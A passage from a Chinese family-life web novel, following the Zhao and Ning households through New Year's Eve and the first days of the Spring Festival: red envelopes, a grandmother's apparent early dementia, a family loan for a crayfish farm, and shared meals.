现在突然觉得,也许一切早有征兆,只是因为在乡下,很多人包括老人自己不会把这些征兆往深了想,只是觉得一切都是常理。 就像很多人认为的,人到了年纪就该结婚生子,老人上了年纪就是会糊涂,没多少人想着去治,更过分的是还有可能盼着老人赶紧死。 这会儿黄秀华已经恢复了正常,像是什么都没发生过一样,问了宁绍明一句,年夜饭要不要来一起吃。 宁绍明也用搪塞王海燕的话拒绝了,又说年礼已经送到大哥大嫂家,等大姐初二回娘家,他再带老婆孩子回来吃饭。 黄秀华点了点头,没再多说什么,宁绍明就带着赵如月回家了。 回去的路上,赵如月问他:“要不要带你妈去市里的医院看看?” 宁绍明:“我倒是想带她去,就怕她不乐意去,年后再说吧,我看看能不能骗她去,现在说带她去医院检查,她没准还觉得大过年的不吉利,骂我是不是想她折寿、咒她早死。” “这还真有可能……”赵如月想了想说,“等年后,可以说你去带孩子去市里玩,抽奖抽到一个带父母去免费体检的机会,老人爱占这种便宜,没准会愿意去。” “嗯,到时候让我爸也劝劝,不行的话,就说去体检送大彩电。”他爸喜欢看电视,但为了不让他妈去店里瞎搞,他去自己哪里去得就少了。 宁绍明想着他爸帮他带女儿几年,带得也挺好的,跟赵如月商量过,给他爸弄个电视,现在倒是可以用这个方式送了。 赵如月想到那些下乡办演讲,宣传保健品的人。 那些人给听演讲的老头老太太们免费送保健品试用装、送鸡蛋,老头老太太们去听演讲都积极得很:“你这个办法,估计比我想的办法有效,就当给你爸妈送一台电视了。” 现在他们每个月挣的也不少,送一台电视送得起。 买电视的钱,跟给老人治病和护理的钱比起来,算是很少了。 说到电视,赵如月也想到婆婆当初去店里瞎搞得罪客人的事,她回想了婆婆以前的行为表现。 总感觉今年的她跟以前相差得有点大,难道这也是生病的征兆? 不管是不是,这个年该怎么过还是怎么过。 什么事都得放到年后再说,两人回家的时候,家里两个孩子已经把他们带回来的年货收拾好了。 过年用来招待客人的零食和水果,也装在好看的盘子里,摆在堂屋的茶几上。 米饭煮好了,用来煮鸡鸭的热水也在大锅里煮着,就等爸妈回来杀鸡杀鸭拜神,然后做菜,吃年夜饭。 宁绍明利索地杀鸡宰鸭,用热水烫毛之后,放给赵如月拔毛处理,他先去把需要预处理的食材处理好。 两个孩子到处跑,给爸爸妈妈打下手,一会儿帮忙拿这个,一会儿帮忙拿那个,也忙得不得了。 不过一家人一起干活,没人总是在耳边说着这个规矩那个规矩的,也没人规定几点之前一定要开饭,倒是觉得比去年自在开心许多。 他们家傍晚才吃年夜饭,吃完后,宁绍明才带着孩子去买鞭炮和烟花。 买完烟花回来,两个孩子就在自家门口放着玩。 今年他们家买的烟花多,宁绍明让两个孩子随便玩,没一会儿就吸引来了一群孩子跟他们一起玩。 玩到七点多将近八点,春节联欢晚会快开始,宁达溜达着来了这边:“春晚开始了吗?” 宁时夏拉着他进屋:“爷爷快来,准备开始了!我奶奶没来吗?” 宁达:“她不想来,跟我说就想用收音机听,也不知道她搞什么,明明都跟你们说好了,晚上来看春晚,突然就闹别扭。” 宁时夏又问:“要不让我哥去叫她?” “不用管她,快快快赶紧坐好,要开始了!” 宁达有些激动,这可是头一次在家用电视看春晚! 虽然准确来说是儿子家,但儿子是亲儿子,这里也是他家了。 第118章 大年初一一大早,宁时秋和宁时夏起床后,穿上他们的新衣服,先给父母拜年,欢欢喜喜地拿到了爸爸妈妈给的大红包,然后一家人一起吃早饭。 吃完早饭,两个孩子跑出去给亲戚拜年,留在家里的赵如月和宁绍明也准备好了零食和红包,等着别人家的孩子上门拜年。 今年最先上门的是去年不好意思上门的赵思莲,只是去年她还跟着她妹妹一起来,今年却只有她自己一个人了。 不过去年赵思莲拜年时小心翼翼满脸羞愧,今年却是落落大方,她夏天的时候,挣了一些钱,少部分给她爸,剩下的大部分她自己藏着。 自己有钱心里不慌,今早她特地拿了一些零钱出来交给他爸,叮嘱他:“别人我不管,但是如月堂姑家的小秋和小夏来家里拜年,你必须给他们零花钱。” 她爸赵鸿利面色讪讪地应下:“去年那是因为别人设套,把我的钱全套进去了,今年没人聚赌,我怎么会像去年那样?你也是太多心了。” 赵思莲现在可不怕她爸了,还是那句话,自己会挣钱兜里有钱,心里不慌,人也更有底气。 她直接冲她爸伸手:“那你把我刚才给你的那些零钱还我,这可是我攒好久才攒下来的零花钱。” 然而赵鸿利还把她当什么都不懂,很好哄的那种小孩子骗:“我忘记换零花钱了,等会儿就有人来拜年,你要回去我怎么给别人发红包?等过段时间银行开门了,我去取钱再把钱还你。” 赵思莲冷哼一声,知道这钱到了他手里肯定要不回来了。 说什么等过段时间银行开门还她,全都是屁话! “那你记得我说的话,可别怠慢小秋和小夏,人家爸妈帮我们家不少,要不明年人家不帮我们进便宜的雪糕回来,我们父女俩都得喝西北风去!” “知道了知道了,你个小姑娘,小小年纪怎么跟个老妈子一样,时间不早了,赶紧拜年去,去别人家要懂礼貌,别在亲戚面前失了礼数。” 赵思莲听到这些话,没忍住背着他翻了个白眼,就他还好意思说这些呢! 她正要出门,又听到赵鸿利说:“你拜完年拿到的红包可别乱花,现在家里条件不好,那些红包钱要留着给你交学杂费、书本费的,等你拜年回来都交给我,我先帮你存着。” 赵思莲当没听见,没回答就跑出去了,跑出去后先去了她大伯家,然后就直接去了堂姑家。 赵如月知道她不容易,给她包的红包跟给自己娘家亲侄子侄女和外甥外甥女一样,里面放了五十块钱。 为了方便她藏钱和糊弄她爸,红包里还特地放的一块到五块的零钱。 赵思莲看到那么厚的一个红包都惊呆了。 但过年的红包他们这里不兴推辞,一般长辈给了就说几句吉祥话,直接收下,不会有推让拉扯。 所以赵思莲虽然觉得她爸肯定不会给小秋和小夏这么多,收下这个大红包有些不好意思,她还是说着吉利的话收下了这个红包。 赵如月还给她兜里塞了不少零食,直到把她的两个衣兜装得满满当当的,才放她出去。 赵思莲离开后,跑到一个没人的角落,拆开红包,看到里面的一沓钱感动不已。 她数了数里面的金额,然后悄悄把四十五块钱拿出来,只留下五块钱,回去应付她爸。 其他人给的红包,她也是一样的操作,自己留下大部分,只在红包里放稍稍的一点。 去所有亲戚家拜年后,回到家,她先观察一下她爸在做什么,然后趁他没主意,溜回自己的房间,把分出来的那一部分钱藏起来。 再溜出外面,装作刚回家的样子,把红包拿出来给她爸。 赵鸿利把所有红包拆开,发现这么多红包的钱加起来竟然还不到五十块。 他非常不满地质问:“今年你拿到的红包怎么那么少?今年那些亲戚这么小气吗?还是你自己偷偷藏钱了?” 赵思莲在他面前撒谎已经是脸不红心不跳:“我一到家就被你发现了,怎么藏钱?你还好意思怪我,怎么不怪你自己去年不给别人家孩子红包,让人家去年亏了,亲戚长辈们今年还愿意给我红包就很不错了,你还好意思嫌少!谁乐意年年在你这里亏本啊?你今年又给别人家的孩子包多少红包钱了?” 这话说得赵鸿利哑口无言,他也有些恼羞成怒,却不敢跟以前一样动手打孩子。 因为赵思莲不但会去找人给她撑腰,还会罢工,不给家里挣钱。 反正她一个小孩子去亲戚家蹭饭,别人不会说什么,甚至她去别人家蹭饭的时候,帮别人家做家务、做农活、洗衣服什么的,别人还觉得划算呢。 穷人的孩子早当家,赵思莲从会走路就开始学着干活,种田、种菜、洗碗、洗衣服、喂鸡喂猪喂鸭喂牛全都做得很好。 可赵鸿利一个大人,就没法这么干了,他也没那么勤快,去年又跟他大哥闹得有点僵,没法过去蹭饭了,竟然真的只能靠小小年纪的女儿来养。 “我就说了一句,你有一百句话等着,没私藏就说没私藏呗,说那些做什么!行了,你玩去吧,这些钱我帮你收着,等开学还得再找点钱凑一凑,才够你上学的费用。” 赵鸿利觉得麻烦死了,要是女儿不用上学就好了,天天在家干活挣钱多好。 可惜学校不同意,说什么国家规定的九年义务教育,不让孩子上学还犯法。 赵如月送走最后一个来拜年的小孩的时候,时间也到中午了,一般小孩子都是早上来拜年,过了中午就不会有人再来了。 吃过午饭,郑秀的车在门口停下。 纪慧萱拿着相机下车,笑着跟赵如月打招呼:“小秋妈妈,新年好!” 赵如月一家四口也异口同声地跟她打招呼:“纪老师新年好!” 纪慧萱早就离职不当老师了,但是赵如月一家还是习惯这么叫她。 不止他们,以前她教过的学生还有学生的家长们,在街上看到她也是习惯性这么叫。 纪慧萱提醒过几次,但大家都改不过来,也就这么算了。 之前调查组来调查过后,镇中心小学的那个副校长被查出确实贪污了不少钱,职位被一撸到底,听说还会被判刑,不过这案子估计要到明年才有结果。 倒是宁绍贤那个案子结案了,宁绍贤因为只是有贩。毒意向,没有进行贩。毒行为,加上认罪态度良好,又提供了一些有用的线索,只被判了三年。 纪慧萱在赵如月县城的店开业不久后,办理完离职手续,就把照相馆开起来了。 她按照赵如月当初给的主意,在照相馆开业后,每周选两个或者三个工作日,在附近的村镇到处跑,上门给别人拍照,顺便宣传一下自己在县城开的照相馆。 本来纪慧萱刚做这个的时候,别人还不太相信她,后来赵如月提醒她去印一些名片,名片上印她照相馆的门头,再写上地址、姓名、电话之类的。 这名片一印一发,就显得纪慧萱比以前专业可靠了不少。 村镇上,很多人只在电视、电影里见过别人发名片,乍然有人给自己发,就感觉很新奇,也觉得这个摄影师小姑娘高大上了起来。 再一看,名片上有照相馆的图片、地址、电话什么的,比空口白牙说自己有一家照相馆可信多了。 凭着这个,她的上门拍照生意很快顺利地开展了。 现在纪慧萱赚到的钱,比以前当老师不知道翻了多少倍,就是有时需要到处跑,更辛苦了些。 今年纪慧萱没回老家过年,自己一个人在县城的出租房里过,过年正是挣钱的好时候。 纪慧萱就打算趁着过年期间,去公园之类的地方摆摊帮人拍照挣钱。 不过大年初一这天去公园的人少,怎么也得到大年初二之后,该走的亲戚都走得差不多了,小孩子和大人又都有空去玩,公园里的人才会多起来。 赵如月知道纪慧萱一个人过年,本来还想邀请她来一起过,但纪慧萱拒绝了。 她就想着照顾一下纪慧萱的生意,请她今天来镇上帮自己一家人拍照。 这也是早就决定好了的,每年都至少要拍一次全家福。 纪慧萱给赵如月一家人拍了全家福,又给他们拍单人照。 拍照的时候,有路过的街坊觉得过年拍张照片纪念一下也挺有意义,就跑过来问:“纪老师,现在一张照片多少钱?能不能去我家,也帮我家人拍几张?” 纪慧萱笑道:“还跟以前一样,不过等会儿我还要去郑师傅家,你要是能等的话,我给郑师傅家人拍完就去你家。” “能能能,我回家跟家里人说一声,你可不能让别人插队啊!”那人一边说一边往自家的方向跑。 纪慧萱摆手道:“放心,有这么多人作证呢,你家排第三个,不会让别人家插队的。” 本来纪慧萱只是想着在县城也没别的事,才应邀来帮忙拍照,结果一来,一个下午竟然也挣了不少。 还有人下午没排上,跟她约好初二甚至初三再来。 初二那天,赵如月一家四口带着年礼回她娘家吃饭,送的东西基本上跟大年三十那天送给公婆的差不多。 只不过送的时间不一样,她娘家离得近,平时见面不少,没有远嫁的人那种心态,所以回来主要的目的还是跟远嫁平时不方便回娘家的堂姐妹们聚一聚。 赵如月的小妹赵如媛也算远嫁,今年赵如月可算见到她了。 以前一年到头,也就他们夫妻俩送她家大女儿和大儿子来娘家这边念书的时候,还有年前接两个孩子回去过年,或者年初二的时候能见几次。 要是赵如月还在打工,一年估计也就只能在年初二的时候见一次,如果两个人之间谁那一年又不能回来的话,一年到头都见不上一次面。 去年她小妹赵如媛家的小儿子才几个月大,不好奔波,赵如媛就没能回来。 所以算起来有整整两年了,她们才见了一次面。 她妹妹婆家那边追生儿子比较厉害,有一个儿子还嫌少,现在还在奉行多子多福那一套。 因为第一个孩子是女儿,赵如媛生第二个孩子的时候没被罚款,生这个小老三被罚惨了,两个大的也顾不上,只能把他们送到娘家这边来读书。 赵如月抱着她的小儿子问:“这次能待几天?” 赵如媛:“两三天吧,你妹夫说提前回去开工,老板给封大红包。” “我听妈说,你这次要接彩柔回去,不让她继续在这边念书了?” 赵如媛问:“咱妈跟你说了?” 赵如月点头说:“嗯,老太太说着说着眼圈都红了,要哭不哭的样子。” 林彩柔是赵如媛的大女儿,很小就送到这边读书,可以说是娘家这边的老人一手带大的。 那孩子乖巧听话、学习成绩还好,邓细妹看起来对所有孩子一碗水端平,全都疼,但实际上最疼的就是这个外孙女。 “唉……我们也是没办法,以前在这边读书没有择校费那些,现在听说户口不在这边的好像都要开始收择校费了,而且彩柔快要上初中了,她学习成绩好,我婆家那边是属于省城管的,要是她小升初考得好,没准能考上省城的初中,到时候学校的师资力量也更好。” 她嫁的地方是靠近省城的村子,虽然被划分到省城下属的县管辖,但是孩子确实也可以考省城的学校。 “这倒也是,省城的教育水平肯定是最好的,哪怕不是省城最好的初中,也比镇上的好很多。”赵如月其实可以理解她的决定,她也是为了孩子的未来着想。 赵如媛看了看姐姐手上的金镯子和金戒指,还有脖子上的项链,耳朵上的耳钉。 她犹豫了一下,最终还是问出了口:“姐,你跟姐夫今年挣的不少吧?” 赵如月注意到她的视线,摸了摸手上的戒指。 其实这些首饰,是她看宁时春给孙佳佳买首饰价格不贵,才想起来买的,买黄金总比把钱存着贬值好。 赵如月平时也不戴,也就是过年想喜庆一点,才戴上了,她觉得有点招摇,但宁绍明非要她戴,还觉得她戴的少了,家里还收着一些没戴过的。 “还行,我们俩辛苦一年,现在也算熬出来了,你姐夫有一段时间,忙得人都一下子瘦了好几圈,给我吓得不行,生怕他累出病来。” “你手上有没有闲钱能借我点?国豪想承包村里的水塘,养小龙虾,以后往省城供应,我们有点存款,但是不太够,我公婆出了点,我回来打算跟爸妈借点,但是还是不太够,还缺五万块钱。” “养小龙虾?”赵如月回想了一下,没想起上辈子他们做过这个,难道是没凑够钱? 赵如媛看姐姐没有马上拒绝,仔细地说起来:“我们以前就只去省城卖点家里种的蔬菜水果什么的,分到的地少,挣得也不多,他们村里的水塘原本是租给别人养鱼的,但是后来养鱼的太多了,好几个人亏本,他们就不租了。 国豪听他现在的老板说,现在省城的夜市摊开始红火起来了,养小龙虾肯定能挣钱,他就想着把别人不租的水塘租下来,养小龙虾。 我们家里有一辆三轮摩托车,到时候可以用那个运货,要是养小龙虾亏了,还不上钱,我们就把那辆三轮摩托车先给你们抵一部分,剩下的我们俩去打工还,肯定不赖账,我们可以给你和姐夫打欠条。” 亲姐妹,话都说道这儿了,如果自己没有钱就算了,可五万还没自家一个月的利润多,赵如月拒绝也说不过去。 而且这是她妹妹,不是她姐,如果是她姐,她不敢借这么多。 但赵如月也没马上答应:“一下子借这么多钱,我得回去跟你姐夫商量才行。” 赵如媛也表示理解,毕竟那可是五万块钱,普通家庭攒也得攒好几年。 就算她姐夫妻俩现在做生意,挣得比别人打工多点,也不一定有那么多闲钱的,听说做生意的人,大部分钱都要投在生意里,手上闲钱不多很正常。 两人说到这,其他堂姐妹也来拜年吃饭了,她们只好先把这事放一边,跟堂姐妹们聊天。 晚上赵如月回去后,跟宁绍明说起这事。 宁绍明想了想说:“这钱倒是能借,不过这事不能只让你妹妹出面。” 赵如月知道宁绍明的意思,如果只有她妹妹出面,万一以后还不上,妹夫一推二五六,说是她们姐妹之间的事,他不知道、不知情,他不管。 那这五万块钱要么要不回来,要么就全压在她妹妹身上了。 她这个当姐姐的,以前跟妹妹关系那么好,难道真能为了对她来说不算什么的五万块钱,硬逼着妹妹还债或者把她告上法庭? 最后这五万块钱就成糊涂账了。 赵如月说道:“我明天先给如媛透露一下你的态度,我妹夫要是懂事,也是真心想踏实地做那个生意,明天肯定找机会来一趟,把这事仔细地跟我们再说一遍。” 要是他不懂事借钱这事就拉倒。 好在林国豪并不是不懂事的人。 赵如月跟赵如媛说:“你姐夫不太了解哪方面的事,所以有点犹豫。” 林国豪和赵如媛很快就提着东西上门了。 赵如月看他们还提着东西,都不知道该说些什么:“一家子姐妹,怎么还带这些?” 她可没想过还要收妹妹的礼。 赵如媛也知道,今天只要摆出个端正的态度,好好跟姐姐姐夫谈一谈,很大概率能借到钱。 可他们也不能真的就空手上门:“我们来请你们帮忙,总得有个态度不是?” 赵如月侧身让他们进屋:“就你最爱讲究。” “礼多人不怪嘛!”赵如媛把东西放下了,看着姐姐的新家,有些羡慕。 虽然这里的装修看起来很简单,但除了空调,她姐家好像该有的电器都有了。 她最羡慕的就是热水器和洗衣机,冬天洗澡和洗衣服肯定很方便。 如果没生小儿子,她家条件其实也不错,被罚款的那些钱,买了这些电器,估计还剩下许多。 可惜没有什么如果,孩子都生出来了,也不能再塞回去了,只能努力多挣钱,毕竟有三个孩子要养呢。 四个人在堂屋坐下,简单聊了几句,就说到养小龙虾的事。 宁绍明也不是想为难他们,只是想要一个态度。 听完林国豪对养小龙虾这个产业的描述后,觉得这个生意确实做得,林国豪那个老板应该没坑他,要是真成的话,那个老板没准还算是他的贵人。 他和赵如月直接就点头答应了借钱的事。 赵如媛和林国豪见他们答应了,难以抑制激动的神色,当场表示,他们现在就能写借条:“这钱,快的话,一年就能还,慢的话,三年内也能把钱还完。” “那还款日期就定在三年后吧,要不你们压力也大。”赵如月想着,这钱借都借了,干脆不给他们那么大的还款压力,他们也好更从容一点去做他们的生意。 要不然压力太大,在做一些抉择的时候,很容易做出错误的决定,创业不易,中途要是做出错误的决定,很有可能就满盘皆输。 宁绍明说道:“现在我们家里没那么多现金,只有两万,剩下的要等银行开始上班,才能去取钱,到时候我们寄过去给你们,还是你们回来拿?” 赵如媛说:“到时候我们回来拿吧,这次让彩柔多待几天,我们那时候来拿钱顺便接她。” 赵如月去把两万块钱拿出来,交给了妹妹:“收好了,过年小孩子到处乱跑乱钻,可别让人摸了去。” 赵如媛笑着说:“姐你放心,我跟国豪明天就回去了,今天到明天这些钱我就贴身带着,装在我缝在贴身衣服上的袋子里。” 赵如月点头:“你自己心里有成算就行。” 送走妹妹和妹夫,赵如月正想去睡个午觉,下午还要招待回娘家的大姑姐,这会儿大姑姐却带着东西来了。 他们俩还觉得奇怪:“大姐,你怎么这时候过来?” 不是要先到老宅那边去吗? “我去过那边了,”宁美婷火急火燎地进来,放下东西就说,“你们有没有觉得,妈有点不对劲?” 赵如月和宁绍明对视一眼,对宁美婷道:“你发现了?” 宁美婷一拍大腿:“你们也发现了?” 她说起自己刚刚去老宅发生的事:“我去了之后,放下东西,妈就对着屋里喊,你们姐姐第一年结婚过年回娘家,你们三个怎么回事,也不知道出来招待一下! 过了一会儿又对我说:你二弟今年毕业,也不知道能分配到哪里,你那边要是有人脉,帮他问问,最好能回镇上来工作。 你们说这多吓人啊!妈这到底是怎么了?” 宁绍明叹气:“可能是脑子病了,我们也不太懂,如月昨天问过她家里当医生的亲戚,说是什么老年痴呆的征兆,让我们最好带去大医院检查,不过这个不一定有的治,只能缓解。” 自己亲妈变成这样,宁美婷心里既难受又愁得不行:“那等你二哥回来,我们好好商量,绍贤不在,治疗的费用只能我们三个出了,你二哥也真是的,大过年的也不回老家,这像什么样子!年初二才回来,不知道的还以为他入赘别人家了!” 宁绍明却说:“大姐,你就不用出钱了,你出嫁的时候,家里没给多少嫁妆,分家也没给你分什么东西,大哥不在,大嫂除了田地里的那点收成,也没有别的收入,妈看病的钱我跟二哥出。 你帮我们劝劝妈跟我们去医院就行,我说让她去医院检查,她不一定愿意去,我担心她不配合,拖延病情,等以后病得更严重再去,那时处理起来更麻烦。” 第119章 其实按照传统的养老规矩,就该是宁绍明说的这样,儿子分家产,父母养老、看病这些就是主要靠儿子分摊责任,女儿多数只需要探望一下老人。 更好一点的,会在老人生病的时候回来,几个孩子轮流陪护,但钱肯定是不用出的,最多探望老人的时候,给老人一点。 宁美婷也是看宁绍贤家都那样了,担心两个弟弟一个拿死工资、一个刚开新店没多久,可能手头上没多少钱,支应不过来,才想着自己也出一份。 既然三弟这么说,那就说明他还没困难到出不起老娘的医药费的程度,宁美婷就没坚持一定要给。 心想着,到时候万一老太太要住院,她多去陪护几天就是了。 宁美婷想好了就说道:“那就先这样,我回去看看你二哥回来没,晚点再带你姐夫他们来你家吃饭,老二那家伙,我非得好好说他一回!” 宁绍明说:“姐,带妈去大医院看病这事,也得你跟二哥说说,要不我说,他可能不听我的。” 其实他是担心二哥太抠,不想出钱就不把他的话当回事。 但大姐是他们几个里年纪最大的,小时候父母忙着下地挣公分,有时修水渠、修河堤、修路这些也得出工,根本没空带孩子。 他们几个几乎都是大姐带着,所以大姐在他们面前说话比较有分量,二哥多少能听进去一点。 当然以前是这样的,现在么,他们各自都长大了,每个人也都有了自己的小家和各自的小心思。 宁绍明也不知道大姐的话,在大哥二哥那里还有多少分量。 “我知道了,吃完饭我就跟他说。”宁美婷说完站起身,又火急火燎地走了。 今年年初二她婆家那边好几个远嫁的姑子、姑婆回来探亲,她得帮着招待这些难得回来一次的客人,走不开,幸好她娘家近,就跟娘家商量今天才回来吃饭。 宁美婷赶回老宅那边,宁绍德夫妻俩也刚到。 她上午在老大家吃过饭了,今天中午本来是在老二家吃。 但是她看到老二家这时候才从外面回来,还什么都没准备的样子,宁美婷就问:“我今天回娘家,这大过年的,你家冷锅冷灶,是打算给我吃西北风啊?” 宁绍德忙道:“怎么会,我们想着,大姐你们没怎么去过县城的大饭店吃饭,就回县城去饭店打包了一桌席面回来,不过从县城带回来花了点时间,现在天气又冷,得热一下才能吃,大姐你等等,我这就去热菜,很快就好。” 宁美婷还真以为他们打包了一桌好席面回来招待自己,心里挺高兴,对于老二年三十不回老家,年初二才回的气愤也减少了不少,想着等会儿跟他说的时候,可以不用那么严厉。 没曾想,她小儿子莫少光悄悄溜进厨房一看,出来就跟她说:“妈,我二舅带回来的鱼,只有一面,另一面都被吃得坑坑洼洼的了。” 宁美婷还不太信:“不能够吧,谁招待客人打包剩菜招待啊?” “你不信自己去看看,我二舅正在把那个鱼切成块!反正等会儿我绝对不碰那些菜,我留着肚子去我三舅家吃!”莫少光说完就跑了。 宁美婷也想悄摸进去看看,但她目标太大,刚靠近厨房就被二弟妹发现了。 叶菁赶忙劝她出来:“大姐,你今天是客人,哪有让客人进厨房干活的,你出去歇着吧,饭菜一会儿就好。” 宁美婷没办法,只好带着疑虑,等饭菜上桌。 饭桌上,她仔细观察。 饭菜是不是别人动过的重新回锅,只要仔细分辨还是能分辨得出来的,比如那些鱼和鸡鸭肉。 仔细看过去,还真像是别人吃过的东西,宁美婷感觉很倒胃口,可她又没抓到现行,总不能在没有证据的情况下,指责他们两口子。 没证据地指责他们,他们也能找别的借口,怪没意思的。 宁美婷干脆不吃了,说起他们大年初二才回老家的事。 这事宁绍德夫妻俩也早就想好借口了。 “我们不是打算买房子么,钱不够,就只能想办法多挣点,过年期间我们还在兼职,给别人代班,如果不是年节,想找这种兼职还找不到呢,麻烦大姐也体谅体谅我们的不容易。” 他们都这么说了,宁美婷还能说什么,人家夫妻俩都是老师,嘴皮子利索得很,她哪说得过。 而且宁绍德夫妻俩想买房子的事也是真的,钱不够也是真的,她再说下去,人家没准就要跟她借钱了。 宁美婷只好放过这个话题,说起黄秀华的病:“我问过老三了,他同意过完年带妈去市里的大医院检查,老二你同不同意?表个态,妈平时可是最疼你的。” 她本来还以为,以老二的抠门吝啬程度,又没亲眼看到妈犯病的样子,可能会推诿一下,才勉勉强强地答应。 没想到这次老二竟然很干脆地说:“我知道了,晚点你们去老三家吃饭,我们也跟着去一趟,到时候我跟老三商量。” 宁美婷半信半疑,但又想,既然他答应了,也就没什么好说的。 随便找别的话题聊了一会儿,聊完后筷子一放,说自己吃饱了,就离席了。 反正晚点还去老三家吃,她懒得碰这些别人吃过的剩饭! 另一边,赵如月送走宁美婷,已经困得眼皮直打架。 这几天晚上总有人放鞭炮,晚上很晚才停下,他们也就很晚才能睡着。 平时很少会这么晚睡觉,早上又要早早地起床,现在困得一回房间沾到枕头就睡着了。 也就小孩子精力旺盛,早上起那么早,白天还在外面跑一天都不觉得累。 过年期间午饭,大人一般不会特地把孩子叫回来吃,随便他们拿压岁钱自己去街上买东西吃,或者回家吃零食都行。 宁时秋和宁时夏在外面跟小伙伴玩了一上午,肚子饿了,但今天不想在外面买着吃,就跑回来了。 回家发现没人在,正想打电话找爸爸妈妈,宁时夏眼尖注意到他们今天穿着外出的鞋子,摆在房门口的鞋架子上。 就跑过去打开门看了一眼,看到爸爸妈妈都在睡午觉,也没吵他们。 “哥哥,不用打电话了,爸爸妈妈在睡午觉。” 宁时秋放下电话的话筒:“那我们随便吃点,你想吃什么?” 宁时夏问:“我想吃方便面行吗?” “大过年的吃方便面?” “天天吃鸡鸭鱼肉,我感觉有点腻了。” 谁能想到呢,前年她还馋肉馋得不行,爸爸妈妈不在家,家里隔三差五才能吃上一回肉,今年竟然吃肉吃到腻了。 其实宁时秋也是这么觉得:“那就吃泡面吧,我去仓库看看有什么口味的。” “我前几天看到仓库里的华丰方便面还有半箱,我吃那个!” “那我也吃那个,你吃几包?” “我想吃一包半,你帮我吃半包好不好,一包我吃不饱。” “额……”宁时秋有点犹豫,他想吃两包,一次吃两包不同味道的他才觉得过瘾。 “求求啦求求啦,哥哥你最好了!” 宁时秋:“好吧……”既然妹妹都求自己了,大不了自己再吃点水果填肚子。 赵如月是被方便面霸道的香味勾醒的,她坐起身,宁绍明察觉到动静也跟着醒了。 他用力嗅了嗅:“好香。” 有一段时间没闻到这个味道了,乍然闻到真诱人,他闻着都觉得饿了。 “估计是小秋和小夏回来了,我出去看看。”赵如月走出去看了一眼,果然是两个孩子。 一人坐着一个小板凳,在茶几边上呼噜呼噜吃着方便面,跟两只小猪似的。 宁绍明也出来了:“怎么吃起方便面来了?要不要爸爸给你们做点别的好吃的?” 两个孩子都摇头。 宁时夏说:“晚上姑妈来家里也会做好吃的,我们现在吃方便面就行,而且我已经吃饱了。” “好吧,”宁绍明一想也对,就在孩子旁边坐下,“给爸爸吃吧?” 不知人心险恶的宁时夏就把筷子给他了,她以为她爸就吃一口。 然后他爸一口就把剩下的面全吃光了,还把汤喝得一滴不剩。 宁时夏:“????” 旁边宁时秋目也瞪口呆地看着爸爸,结果他愣得太久,他爸以为他也吃饱了,他剩下的面也惨遭毒手。 爸爸吃着还问妈妈:“你吃吗?” 赵如月脑子还没醒困,转得慢,没察觉到两个孩子的神色,打了个哈欠说:“给我留一口面、一口汤,我尝尝味就行,要不等会儿晚饭吃不下。” 宁时秋张了张嘴,想解释一下自己没吃饱,但是听到妈妈的话,摸了摸肚子。 算了,虽然没饱,但也已经不饿了,还解了馋和腻,晚上又吃得下鸡鸭鱼肉了,他就没再说。 转头问还懵着的妹妹:“我们出去玩?” 宁时夏下意识点头,出去后才反应过来:“爸爸把我的面全吃光啦!我只想给他吃一口来着。” “你还饿吗?”宁时秋问。 宁时夏也摸摸肚子:“不饿了,但是也没有平时吃完饭那样饱饱的。” “正好留着肚子晚上吃好吃的。” “对哦,今晚还有很多好吃的。” 这么一想,宁时夏就不纠结自己的面被爸爸吃光的事了。 宁绍明吃完之后,把两个碗洗了,又去刷牙洗脸,冷水一刺激,人精神了,想起刚才的事,才感觉好像不太对劲。 “我们刚刚是不是欺负咱家俩孩子了?” 赵如月这会儿也清醒了,开玩笑地推卸责任:“可不是我们,是你,我顶多算从犯,你这个主谋可得做点好吃的哄哄他们。” 宁绍明乐了:“是该给他们做点好吃的了,我们开新店后太忙,好像很久没给他们做过小零食了,我看看家里还有什么东西。” 他去仓库翻了翻,翻出一些坚果,一股脑全拿出来问赵如月:“不知道集上还能不能买到冻米,孩子们喜欢吃冻米糖,做冻米糖的时候往里加点坚果,应该会比传统的更好吃点。” 赵如月也不知道集上还能不能买到,以前卖冻米的不少,近几年各家都都做得少了,镇上卖这些的也少了:“要不我现在去集上看看?” “行,你去吧,刚好该做饭了,我在家做饭。” 赵如月在集上转了一圈,没买到冻米,刚准备走,竟然碰巧遇上了走亲戚回来的黄文发和吴丽夫妻俩。 今年黄文发和吴丽回老家也比较晚,大年三十当天早晨到的镇上,到家之后顾不上休息,又要去买年货,打扫家里,做年夜饭,也是特别忙。 黄文发家亲戚多,过了年三十,又要来拜年的招待亲戚,又要走亲戚。 他们四个就一直没能见面。 双方见面还有挺激动。 吴丽拉着赵如月看了一圈说道:“一年没见了,你现在看起来竟然还比以前年轻许多!” 赵如月笑道:“这话也太夸张了,不知道的还以为我有什么返老还童的秘方,明天有空吗?要是有空的话,去我家吃饭?咱们聚一聚怎么样?” “明天不行,明天我们家也有客人来,后天行吗?后天去我们家,”吴丽怕赵如月抢着请客,又说道,“之前你们家绍明介绍去鹏城的那些人,回来前就说,等回来了,一定要请你们吃顿饭,我们家文发寻思他们一人请一顿,这些席吃到正月十五都吃不完,就说他来办,到时候他们一人出一个菜,一起去我们家吃饭就当大家都请了。” 赵如月也觉得这样挺好:“这个法子好,要不真要吃席吃到怕,我回去跟绍明说,他肯定高兴。” 跟他们聊了几句,他们得回去做饭,赵如月也空着手回家了。 回去后告诉宁绍明:“没买到冻米,现在做冻米糖的人太少,人家都不进货了。” 宁绍明从厨房里探出头:“没买到就算了,我做点芝麻红枣核桃糕、花生芝麻糖之类的,咱家孩子以前挺喜欢吃。” 赵如月走到门口边择菜边跟他聊天:“不过遇到文发和小丽了,跟他们说好,后天去他们那里吃饭。” 宁绍明问:“怎么不定在我们家,我们家这边宽敞点。” “是之前你介绍去鹏城那个酒店干活的人想请你吃饭,文发怕你吃席吃不过来,就说集中在他家一起请了。” 宁绍明听到这话就笑了:“不愧是我铁哥们,他是真了解我,那么多人请客,我真有可能吃席吃到怕,然后躲到县城去。” 饭做得差不多的时候,宁美婷夫妻俩带着两个孩子来了,宁绍明出去招呼,看到他二哥一家也跟着来,还觉得挺稀奇。 给他们倒了茶,开了电视看后,回厨房跟赵如月嘀咕:“我二哥竟然也来了,也是奇怪,他看起来过年连老家都不想回,竟然会来我们家。” 他们这里过年的习俗跟别的地方不太一样,分家之后,如果老人还在的话,老人在哪个儿子家过年,其他儿子的年礼就往谁家送,然后就不互相送了。 但女儿回娘家,每个兄弟家都要去吃一次饭,可以提前商量好什么时候去谁家,吃饭的时候带着年礼,当然兄弟家也会回礼。 